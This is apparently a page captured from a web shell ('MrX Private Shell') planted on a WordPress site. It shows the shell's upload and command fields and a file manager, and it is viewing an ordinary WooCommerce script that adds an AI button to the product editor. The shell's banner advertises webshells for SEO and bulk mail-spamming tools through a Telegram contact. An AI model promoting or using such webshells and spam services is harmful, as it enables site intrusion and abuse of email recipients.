__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { createRoot } from "@wordpress/element";

import "./style.scss";
import AIWooButton from "./AIWooButton";

console.log('AI for WooCommerce loaded');

document.addEventListener('DOMContentLoaded', function () {
    // Check if we're on a WooCommerce product edit page
    const isWooProductPage = () => {
        const currentUrl = window.location.href;
        return (
            currentUrl.includes('post.php') &&
            currentUrl.includes('action=edit') &&
            document.querySelector('body.post-type-product')
        ) || (
                currentUrl.includes('post-new.php') &&
                currentUrl.includes('post_type=product')
            );
    };
    console.log('isWooProductPage', isWooProductPage());

    // Only proceed if we're on a WooCommerce product page
    if (!isWooProductPage()) {
        return;
    }

    // Create Button
    const buttonDiv = document.createElement('div');
    buttonDiv.classList.add('eb-ai-woo-button-wrapper');
    const root = createRoot(buttonDiv);
    root.render(<AIWooButton />);

    // Function to add button to the page
    const addButtonToPage = () => {
        // Look for the page title action area (where "Add new product" button is)
        const titleAction = document.querySelector('.page-title-action');

        if (titleAction && !document.querySelector('.eb-ai-woo-button-wrapper')) {
            // Insert our button after the existing page-title-action button
            titleAction.parentNode.insertBefore(buttonDiv, titleAction.nextSibling);
        }
    };

    // Try to add button immediately
    addButtonToPage();

    // Also try after a short delay in case the DOM isn't fully ready
    setTimeout(addButtonToPage, 100);
    setTimeout(addButtonToPage, 500);
    setTimeout(addButtonToPage, 1000);

    // Monitor for DOM changes in case WooCommerce dynamically loads content
    const observer = new MutationObserver((mutations) => {
        mutations.forEach((mutation) => {
            if (mutation.type === 'childList') {
                addButtonToPage();
            }
        });
    });

    // Start observing
    observer.observe(document.body, {
        childList: true,
        subtree: true
    });
});

Filemanager

Name Type Size Permission Actions
AIWooButton.js File 1.3 KB 0640
AIWooPopover.js File 4.41 KB 0640
index.js File 2.17 KB 0640
style.scss File 4.36 KB 0640
Filemanager